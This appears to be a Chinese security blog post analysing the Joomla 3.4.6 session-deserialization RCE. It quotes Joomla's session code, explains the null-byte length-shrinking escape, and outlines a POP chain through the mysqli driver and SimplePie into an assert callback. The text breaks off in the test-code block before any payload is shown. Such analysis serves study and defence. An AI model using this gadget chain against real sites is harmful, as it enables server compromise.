<!DOCTYPE html>



  


<html class="theme-next mist use-motion" lang="">
<head><meta name="generator" content="Hexo 3.8.0">
  <meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="theme-color" content="#222">



  
  
    
    
  <script src="/lib/pace/pace.min.js?v=1.0.2"></script>
  <link href="/lib/pace/pace-theme-minimal.min.css?v=1.0.2" rel="stylesheet">







<meta http-equiv="Cache-Control" content="no-transform">
<meta http-equiv="Cache-Control" content="no-siteapp">
















  
  
  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">







<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">

<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=5.1.4">


  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">





  <meta name="keywords" content="代码审计,">










<meta name="description" content="前言前段时间意大利安全研究员Alessandro Groppo 公开了joomla3.0.0-3.4.6的漏洞详情，今天借此机会复现分析一下 原理分析漏洞根本上来说是源于session的反序列化，在joomla中有一套自己的session处理机制，当产生会话的时候，joomla会将序列化后的数据存储在数据库中，然后将数据从数据库中取出来进行反序列化 写函数: \libraries\joomla\s">
<meta name="keywords" content="代码审计">
<meta property="og:type" content="article">
<meta property="og:title" content="joomla3.4.6-rce分析">
<meta property="og:url" content="https://yml-sec.top/2019/10/15/joomla3-4-6-rce分析/index.html">
<meta property="og:site_name" content="yemoli&#39;s blog">
<meta property="og:description" content="前言前段时间意大利安全研究员Alessandro Groppo 公开了joomla3.0.0-3.4.6的漏洞详情，今天借此机会复现分析一下 原理分析漏洞根本上来说是源于session的反序列化，在joomla中有一套自己的session处理机制，当产生会话的时候，joomla会将序列化后的数据存储在数据库中，然后将数据从数据库中取出来进行反序列化 写函数: \libraries\joomla\s">
<meta property="og:locale" content="default">
<meta property="og:updated_time" content="2019-10-23T14:18:32.249Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="joomla3.4.6-rce分析">
<meta name="twitter:description" content="前言前段时间意大利安全研究员Alessandro Groppo 公开了joomla3.0.0-3.4.6的漏洞详情，今天借此机会复现分析一下 原理分析漏洞根本上来说是源于session的反序列化，在joomla中有一套自己的session处理机制，当产生会话的时候，joomla会将序列化后的数据存储在数据库中，然后将数据从数据库中取出来进行反序列化 写函数: \libraries\joomla\s">



<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Mist',
    version: '5.1.4',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: true,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    duoshuo: {
      userId: '0',
      author: 'Author'
    },
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>



  <link rel="canonical" href="https://yml-sec.top/2019/10/15/joomla3-4-6-rce分析/">





  <title>joomla3.4.6-rce分析 | yemoli's blog</title>
  








</head>

<body itemscope="" itemtype="http://schema.org/WebPage" lang="default">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>
    <header id="header" class="header" itemscope="" itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">yemoli's blog</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
      
        <p class="site-subtitle"></p>
      
  </div>

  <div class="site-nav-toggle">
    <button>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>

<nav class="site-nav">
  

  
    <ul id="menu" class="menu">
      
        
        <li class="menu-item menu-item-home">
          <a href="/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
            
            Home
          </a>
        </li>
      
        
        <li class="menu-item menu-item-about">
          <a href="/about/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
            
            About
          </a>
        </li>
      
        
        <li class="menu-item menu-item-tags">
          <a href="/tags/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
            
            Tags
          </a>
        </li>
      
        
        <li class="menu-item menu-item-archives">
          <a href="/archives/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
            
            Archives
          </a>
        </li>
      
        
        <li class="menu-item menu-item-friends">
          <a href="/friends/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-sitemap"></i> <br>
            
            friends
          </a>
        </li>
      

      
    </ul>
  

  
</nav>



 </div>
    </header>

    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://yml-sec.top/2019/10/15/joomla3-4-6-rce分析/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="夜莫离、">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="yemoli's blog">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">joomla3.4.6-rce分析</h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Posted on</span>
              
              <time title="Post created" itemprop="dateCreated datePublished" datetime="2019-10-15T21:50:51+08:00">
                2019-10-15
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">Words count in article&#58;</span>
                
                <span title="Words count in article">
                  3.3k
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">Reading time &asymp;</span>
                
                <span title="Reading time">
                  18
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>前段时间意大利安全研究员Alessandro Groppo 公开了joomla3.0.0-3.4.6的漏洞详情，今天借此机会复现分析一下</p>
<h1 id="原理分析"><a href="#原理分析" class="headerlink" title="原理分析"></a>原理分析</h1><p>漏洞根本上来说是源于session的反序列化，在joomla中有一套自己的session处理机制，当产生会话的时候，joomla会将序列化后的数据存储在数据库中，然后将数据从数据库中取出来进行反序列化</p>
<p>写函数: <code>\libraries\joomla\session\storage\database.php</code></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Write session data to the SessionHandler backend.</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@param</span>   string  $id    The session identifier.</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@param</span>   string  $data  The session data.</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span>  boolean  True on success, false otherwise.</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@since</span>   11.1</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">write</span><span class="params">($id, $data)</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="comment">// Get the database connection object and verify its connected.</span></span><br><span class="line">		$db = JFactory::getDbo();</span><br><span class="line"></span><br><span class="line">		$data = str_replace(chr(<span class="number">0</span>) . <span class="string">'*'</span> . chr(<span class="number">0</span>), <span class="string">'\0\0\0'</span>, $data);</span><br><span class="line"></span><br><span class="line">		<span class="keyword">try</span></span><br><span class="line">		&#123;</span><br><span class="line">			$query = $db-&gt;getQuery(<span class="keyword">true</span>)</span><br><span class="line">				-&gt;update($db-&gt;quoteName(<span class="string">'#__session'</span>))</span><br><span class="line">				-&gt;set($db-&gt;quoteName(<span class="string">'data'</span>) . <span class="string">' = '</span> . $db-&gt;quote($data))</span><br><span class="line">				-&gt;set($db-&gt;quoteName(<span class="string">'time'</span>) . <span class="string">' = '</span> . $db-&gt;quote((int) time()))</span><br><span class="line">				-&gt;where($db-&gt;quoteName(<span class="string">'session_id'</span>) . <span class="string">' = '</span> . $db-&gt;quote($id));</span><br><span class="line"></span><br><span class="line">			<span class="comment">// Try to update the session data in the database table.</span></span><br><span class="line">			$db-&gt;setQuery($query);</span><br><span class="line"></span><br><span class="line">			<span class="keyword">if</span> (!$db-&gt;execute())</span><br><span class="line">			&#123;</span><br><span class="line">				<span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="comment">/* Since $db-&gt;execute did not throw an exception, so the query was successful.</span></span><br><span class="line"><span class="comment">			Either the data changed, or the data was identical.</span></span><br><span class="line"><span class="comment">			In either case we are done.</span></span><br><span class="line"><span class="comment">			*/</span></span><br><span class="line">			<span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">catch</span> (<span class="keyword">Exception</span> $e)</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br></pre></td></tr></table></figure>
<p>读函数：<code>\libraries\joomla\session\storage\database.php</code></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Read the data for a particular session identifier from the SessionHandler backend.</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@param</span>   string  $id  The session identifier.</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span>  string  The session data.</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@since</span>   11.1</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">read</span><span class="params">($id)</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="comment">// Get the database connection object and verify its connected.</span></span><br><span class="line">		$db = JFactory::getDbo();</span><br><span class="line"></span><br><span class="line">		<span class="keyword">try</span></span><br><span class="line">		&#123;</span><br><span class="line">			<span class="comment">// Get the session data from the database table.</span></span><br><span class="line">			$query = $db-&gt;getQuery(<span class="keyword">true</span>)</span><br><span class="line">				-&gt;select($db-&gt;quoteName(<span class="string">'data'</span>))</span><br><span class="line">			-&gt;from($db-&gt;quoteName(<span class="string">'#__session'</span>))</span><br><span class="line">			-&gt;where($db-&gt;quoteName(<span class="string">'session_id'</span>) . <span class="string">' = '</span> . $db-&gt;quote($id));</span><br><span class="line"></span><br><span class="line">			$db-&gt;setQuery($query);</span><br><span class="line"></span><br><span class="line">			$result = (string) $db-&gt;loadResult();</span><br><span class="line"></span><br><span class="line">			$result = str_replace(<span class="string">'\0\0\0'</span>, chr(<span class="number">0</span>) . <span class="string">'*'</span> . chr(<span class="number">0</span>), $result);</span><br><span class="line"></span><br><span class="line">			<span class="keyword">return</span> $result;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">catch</span> (<span class="keyword">Exception</span> $e)</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br></pre></td></tr></table></figure>
<p>其中，在write函数中</p>
<figure class="highlight autoit"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$data = str_replace(<span class="built_in">chr</span>(<span class="number">0</span>) . <span class="string">'*'</span> . <span class="built_in">chr</span>(<span class="number">0</span>), <span class="string">'\0\0\0'</span>, $data)<span class="comment">;</span></span><br></pre></td></tr></table></figure>
<p>会将<code>/x00*/x00</code> 替换为 <code>\0\0\0</code> ,因为protected修饰的变量在序列化后会带有<code>/x00*/x00</code> 而mysql中无法对<code>NULL</code>值进行存储，所以会对该处进行替换</p>
<p>为了保持数据完整性自然会在read函数中将<code>/x00*/x00</code>替换回来，就是下面这句</p>
<figure class="highlight autoit"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$result = str_replace(<span class="string">'\0\0\0'</span>, <span class="built_in">chr</span>(<span class="number">0</span>) . <span class="string">'*'</span> . <span class="built_in">chr</span>(<span class="number">0</span>), $result)<span class="comment">;</span></span><br></pre></td></tr></table></figure>
<p>到这里就会出现一个问题，如果写入的反序列化字符串存在<code>/0/0/0</code>，当read函数读取的时候，就会将其替换成<code>\x00*\x00</code>这样输入的字符串就少了三个字符，如下程序</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">$result = <span class="string">'admin\0\0\0admin'</span>;</span><br><span class="line">$result = str_replace(<span class="string">'\0\0\0'</span>, chr(<span class="number">0</span>) . <span class="string">'*'</span> . chr(<span class="number">0</span>), $result);</span><br><span class="line"><span class="keyword">echo</span> $result;</span><br></pre></td></tr></table></figure>
<p>该段输出为<code>adminN*Nadmin</code>，很轻易看出少了三个字符，这样在session反序列化时由于前面声明的字符串长度并未改变，所以会吃掉后面的三个字符，这样我们就可以通过这个利用点将两处反序列化中间的字段吃掉，使第二部分内容逃出来进行反序列化。</p>
<h1 id="POP链构造"><a href="#POP链构造" class="headerlink" title="POP链构造"></a>POP链构造</h1><p>起始触发点为 <code>/libraries/joomla/database/driver/mysqli.php</code>中的<code>__destruct()</code>函数</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span>&#123;</span><br><span class="line">		<span class="keyword">$this</span>-&gt;disconnect();</span><br><span class="line">	&#125;</span><br></pre></td></tr></table></figure>
<p>跟进<code>disconnect();</code></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">disconnect</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    <span class="comment">// Close the connection.</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;connection) &#123;</span><br><span class="line">        <span class="keyword">foreach</span> (<span class="keyword">$this</span>-&gt;disconnectHandlers <span class="keyword">as</span> $h) &#123;</span><br><span class="line">            call_user_func_array($h, <span class="keyword">array</span>(&amp;<span class="keyword">$this</span>));</span><br><span class="line">        &#125;</span><br><span class="line">        mysqli_close(<span class="keyword">$this</span>-&gt;connection);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">$this</span>-&gt;connection = <span class="keyword">null</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>需要满足<code>$this-&gt;connection</code>为<code>true</code> ，这里注意到 <code>call_user_func_array($h, array(&amp;$this));</code></p>
<p>其中第二个参数无法控制，所以我们无法在此处实现<code>assert</code>的回调执行，于是来寻找其他类是否有可以利用的的方法。</p>
<p>这里找到了<code>SimplePie</code>类的<code>init</code>方法，路径为<code>/libraries/simplepie/simplepie.php</code>，主要代码</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;feed_url !== <span class="keyword">null</span> || <span class="keyword">$this</span>-&gt;raw_data !== <span class="keyword">null</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="keyword">$this</span>-&gt;data = <span class="keyword">array</span>();</span><br><span class="line">			<span class="keyword">$this</span>-&gt;multifeed_objects = <span class="keyword">array</span>();</span><br><span class="line">			$cache = <span class="keyword">false</span>;</span><br><span class="line"></span><br><span class="line">			<span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;feed_url !== <span class="keyword">null</span>)</span><br><span class="line">			&#123;</span><br><span class="line">				$parsed_feed_url = SimplePie_Misc::parse_url(<span class="keyword">$this</span>-&gt;feed_url);</span><br><span class="line">				<span class="comment">// Decide whether to enable caching</span></span><br><span class="line">				<span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;cache &amp;&amp; $parsed_feed_url[<span class="string">'scheme'</span>] !== <span class="string">''</span>)</span><br><span class="line">				&#123;</span><br><span class="line">					$cache = call_user_func(<span class="keyword">array</span>(<span class="keyword">$this</span>-&gt;cache_class, <span class="string">'create'</span>), <span class="keyword">$this</span>-&gt;cache_location, call_user_func(<span class="keyword">$this</span>-&gt;cache_name_function, <span class="keyword">$this</span>-&gt;feed_url), <span class="string">'spc'</span>);</span><br><span class="line">				&#125;</span><br></pre></td></tr></table></figure>
<p>这里我们可以控制<code>call_user_func($this-&gt;cache_name_function, $this-&gt;feed_url)</code>的两个参数，这样就可以使用<code>assert</code>函数回调进行任意代码执行，同时这里需要满足上面的几个<code>if</code>条件</p>
<p>目前找到了执行任意命令的路径，最后一个问题就是joomla默认是没有载入<code>SimplePie</code>类的，所以这里使用了<code>JSimplepieFactory</code>类，该类在加载时会自动将<code>SimplePie</code>类导入当前环境，关键语句</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jimport(<span class="string">'simplepie.simplepie'</span>);</span><br></pre></td></tr></table></figure>
<p><code>if</code>处最难<code>bypass</code>的是<code>$parsed_feed_url[&#39;scheme&#39;] !== &#39;&#39;</code>，这里考虑用分割符形如 <code>code||$m=&#39;http://yemoli.top&#39;</code></p>
<p>测试代码</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span 